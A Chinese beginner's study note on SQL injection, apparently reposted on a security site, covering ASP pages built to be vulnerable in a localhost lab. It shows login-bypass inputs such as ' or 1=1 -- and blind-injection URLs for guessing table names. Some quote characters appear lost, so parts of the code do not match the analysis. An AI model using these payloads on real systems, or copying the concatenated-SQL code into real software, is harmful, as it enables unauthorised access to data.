|
<%=(int(rnd()*1)+1)%>您当前的位置:中国安全在线cnsafer.com 请进入[技术论坛]发表评论 阅读提示:
最近我开始较为系统地学习SQL注入,网上由很多关于SQL注入的文章,我也翻了一下,并在自己的机器上进行了调试。学了一段时间后,我决定写一遍适合于新手看的教程,因为教人的同时自己才能进步,顺便把我的理解说出来,希望高手看后能纠正我的错误之处。其实这篇也不能算是教程,只是我的学习笔记。由于是第一次教别人,而且本人武功低微,希望高手不要见笑,并能及时纠正我的错误。
据说在1997年以前国外电脑通信杂志就已经披露了SQL注入这一弱点(感觉到了差距)。透过ASP、PHP和JSP等程序,可以攻击破坏各种SQL数据库(MSSQL、MySQL、Oracle、Sybase和DB2等)。去年动网等论坛程序被陆续发现严重的漏洞,我也根据公布的漏洞测试了一些站点。但我喜欢刨根究底,不满足于只知道怎样入侵,而是想看懂原理。于是有了下面的学习。
调试环境:Windows 2000+IIS 5.0+SQL 2000+ASP
1、 SQL数据库的链接 我们用以下的方法(当然也可以用系统DSN) <% set conn=server.CreateObject("ADODB.Connection") connstr="DRIVER={SQL Server};server=127.0.0.1;UID=test;Password=hacker" conn.open connstr
set rs=server.CreateObject("ADODB.Recordset") rs.Open "login",conn %> 几点说明:(1)此处的用户,如果在企业管理器中建立的SQL帐户,请确定SQL SERVER处于混合验证模式,如果是系统帐户,请在企业管理器中授予合适的权限。 (2)这里的login是自己建立的表,因为第二行connstr字符串没有指定数据库,所以是这个登陆帐户的默认数据库(这里test设置的默认数据库是pubs)。因此要在表login建立在pubs数据库下。 (3)建立了login表后,请在属性-〉权限中给与guest以所有权限(为了方便,这里暂不考虑安全问题),否则下面将不能对表进行操作。
2、 介绍一些对数据库中表的一些基本操作 (假设上面的对象都已经建立) Response.Write "记录集中共有"&rs.Fields.count&"字段"//显示字段总数
for i=0 to rs.Fields.count-1 Response.Write "<TD>"&rs(i).Name&"</TD>"//打印出所有的字段名 next
rs.MoveFirst //下面打印出所有的记录 while not rs.EOF row="<TR BGCOLOR=#ffff00>" for i=0 to rs.Fields.count-1 row=row&"<TD>"&rs(i)&"</td>" next Response.Write row&"</tr>" rs.MoveNext wend
rs.Find="电话=110"//这里是查找 if rs.EOF then Response.Write "无此名字" else Response.Write "查到了。
下面将显示如何在ASP网页中执行SQL语句: (1)、不返回数据集 sqlstate=request("sql_state") if sqlstate<>empty then set conn=server.CreateObject("ADODB.Connection") connstr="Driver={sql server};server=127.0.0.1;UID=test;Password=hacker" conn.Open connstr
set cmdobj=server.CreateObject("ADODB.Command") set cmdobj.ActiveConnection=conn cmdobj.CommandText=sqlstate cmdobj.Execute (2)、返回数据集 方法一: sql=request("sql") if sql<>empty then set conn=server.CreateObject("adodb.connection") connstr="driver={sql server};server=127.0.0.1;uid=test;password=hacker" conn.Open connstr set rs=conn.Execute(sql) 此时 rs就相当于前面的RecordSet对象一样,可以进行相应的操作。 方法二: sql=request("sql") if sql<>empty then set conn=server.CreateObject("adodb.connection") connstr="driver={sql server};server=127.0.0.1;uid=test;password=hacker" conn.Open connstr
set rs=server.CreateObject("adodb.recordset") rs.Open sql,conn
说明:这里的sql即指sql语句,但注意语句中只能用单引号,不要用双引号。
3、 正题:设计一个有漏洞的ASP程序 我建立的login表如下: Username Password Money Isml hehe 1000 Father haha 1500
设计一个登陆界面login.htm: <HTML> <HEAD> <META NAME="GENERATOR" Content="Microsoft Visual Studio 6.0"> <TITLE></TITLE> </HEAD> <BODY bgcolor=green> <center> <form method=post action="check.asp"> <p> <center>登陆测试界面</center> <p> UserName: <input type="text" name=username> <p>Password: <input type="password" name=password> <p> <input type="submit" value="提交"> </form> </center> </BODY> </HTML>
下面是check.asp的代码(要看懂): <%@ Language=VBScript %> <HTML> <HEAD> <META NAME="GENERATOR" Content="Microsoft Visual Studio 6.0"> </HEAD> <BODY bgcolor=#00ffff>
<% dim strUserName,strPassword,strConn,strSql
strUserName=trim(request("username")) strPassword=trim(request("password")) if strUserName="" then Response.Write "<body><p><center>用户名不能为空</center></p></body>" Response.End end if
if strPassword="" then Response.Write "<body><p><center>密码不能为空</center></p></body>" Response.End end if
set conn=server.CreateObject("ADODB.Connection") strConn="driver={sql server};server=127.0.0.1;uid=test;password=hacker" conn.Open strConn strSql="select * from login where username="&trim(strUserName)&"and password="&trim(strPassword)&""
set rs=server.CreateObject("ADODB.RecordSet")
rs.Open strSql,conn,1,3 if not rs.EOF then Response.Write "<center>通过验证</center>" else Response.Write "<center>密码错误或不存在该用户</center>" end if
%>
</BODY> </HTML>
保存好文件后,建立好虚拟目录,就可以测试了。(我没有截图,如果有问题可以发E-mail给我) 用户名:isml 密码:hehe 则通过验证 用户名:isml 密码:123 密码错误或不存在该用户
下面进行简单的SQL Injection攻击: (1)、尝试输入用户名:isml ‘ -- 密码:(任意) 看到结果了吗?吃惊吧,竟然通过验证!! 下面对代码进行分析: strUserName=trim(request("username")) strPassword=trim(request("password")) 获取在login.htm中的输入。 strSql=”select * from login where username="&trim(strUserName)&"and password="&trim(strPassword)&"" 这里是漏洞的关键: 假设我们这里输入正确的用户名:isml和密码:hehe,则这句语句就相当于: strSql="select * from login where username=isml and password=’hehe’” 通过rs.Open strSql,conn,1,3执行,在login表中查找,如果符合这样的项,则rs指向这条记录,所以不满足not rs.eof,因此输出“通过验证”。,否则两项中至少有一项不满足,就会输出“密码错误或不存在该用户”。 现在分析输入用户名isml ‘ -- 密码:123(任意)的情况: strSql=”select * from login where username=’isml ‘-- ‘ and password=’123’” 注意:--是SQL语句中的注释。因此语句就相当于变成: strSql=”select * from login where username=’isml’” 显然,只要我们知道有isml这个用户,则我们不需要他的密码就能登陆。
(2)尝试输入用户名:abc(任意) 密码:abc’ 1=1 or – (密码abc任意) 这个用户根本没有注册,应该返回“密码错误或不存在该用户”。但结果却是:“通过验证” 分析: strSql=”select * from login where username=’abc ‘ and password=’abc’ or 1=1 --’” 看到了吗?虽然不满足username=’abc’ and password=’abc’一项,但1=1显然成立,所以通过了验证。 (3)尝试输入用户名:abc ‘ or 1=1 -- 密码:123(任意) 结果还是通过验证,新手可以自己分析一下。
4、 关键:更加实用的注入方式 上面的方法现在应该很少有用了(不知道对不对),下面再给出一个漏洞程序。 (注意:上面的注入方式也可用下面的方法。) 首先稍微修改一下前面的login表,增加一个ID字段: ID Username Password Money 1 Isml hehe 1000 2 Father haha 1500 为了区别,表名改为search 下面设计一个页面search.htm,在该页面中输入欲查询的ID,为了能让新手看清楚,我这里用了get方法,代码如下: <HTML> <HEAD> <META NAME="GENERATOR" Content="Microsoft Visual Studio 6.0"> <TITLE></TITLE> </HEAD> <BODY bgcolor=green> <form method=get action="deal.asp"> <center>请输入要查询的ID号: <input type="text" name=id> <input type="submit" value="查找"> </center> </form> </BODY> </HTML>
Deal.asp的源代码如下: <%@ Language=VBScript %> <HTML> <HEAD> <META NAME="GENERATOR" Content="Microsoft Visual Studio 6.0"> </HEAD> <BODY> <% dim idnumber idnumber=trim(request("id"))
set conn=server.CreateObject("ADODB.Connection") connstr="DRIVER={SQL Server};server=127.0.0.1;UID=test;Password=hacker" conn.open connstr
strSql="select * from search where id="&trim(idnumber)&""
set rs=server.CreateObject("ADODB.RecordSet")
rs.Open strSql,conn,1,3 if not rs.EOF then
Response.Write "<body bgcolor=#00ffff><center>找到该ID!!!!</center></body>"
else Response.Write "<body bgcolor=#00ffff><center>找不到ID</center></body>" end if %>
</BODY> </HTML> 其实代码也是相似的,我也不用解释了。 下面我们打开IE,首先输入 http://127.0.0.1/deal.asp?id=1 浏览器显示:找到该ID!!!! 我们再输入: http://127.0.0.1/deal.asp?id=1’ and 1=1 -- 结果怎样?哈哈, 找到该ID!!!! 是不是有点思路了? 再次输入: http://127.0.0.1/deal.asp?id=1’ and 1=2 – 结果:找不到ID 你是不是已经想到怎么利用了?这里浏览器的返回与后面的条件是有关的(1=1,1=2),所以我们可以用它进行猜测,即用猜测语句来代替条件1=1和1=2,如果我们的猜测正确,则浏览器返回正常结果,否则将显示错误。 关于如何猜测大家可以在网上找一些文章来看看,还是比较多的,我就不具体介绍了,一些高手也编了一些自动化的猜测工具。下面我只简单地举个例子: 我们尝试猜测表的名字(大家已经知道我这里建的表是search): http://127.0.0.1/deal.asp?id=1’ and exists (select * from admin) – 结果:找不到ID。这就说明表名不是admin http://127.0.0.1/deal.asp?id=1’ and exists (select * from search) – 结果:找到该ID!!!! 哈哈,这说明表名就是search 大家可以用类似的方法猜测表的字段,还有密码呢。具体可以看其他的文章。
后记: 写了这么多了,新手应该对SQL注入的原理比较清楚了吧,实际的入侵还要复杂些,但原理应该类似。最后还要提醒一句,那就是:实践是检验真理的唯一标准。只有实践才能发现问题,只有实践才能不断进步。正如我前段时间学习缓冲区溢出基本原理一样,因为一些文章实践写得比较早,Linux和gcc版本相对较低,所以真的用起来是不能直接照搬代码的,需要适当的修改,我也在这学习中不断的进步着。 最后一句废话,我也是新手。但上面的代码都是我自己编写并测试的,大家如果对上面的说明有问题的,欢迎发E-mail与我联系,大家可以一起讨论讨论。高手如果发现问题,希望能及时帮我指正。 好,祝大家在新的一年里技术天天有进步。
您对本文章有什么意见或着疑问吗?请到论坛讨论您的关注和建议是我们前行的参考和动力 |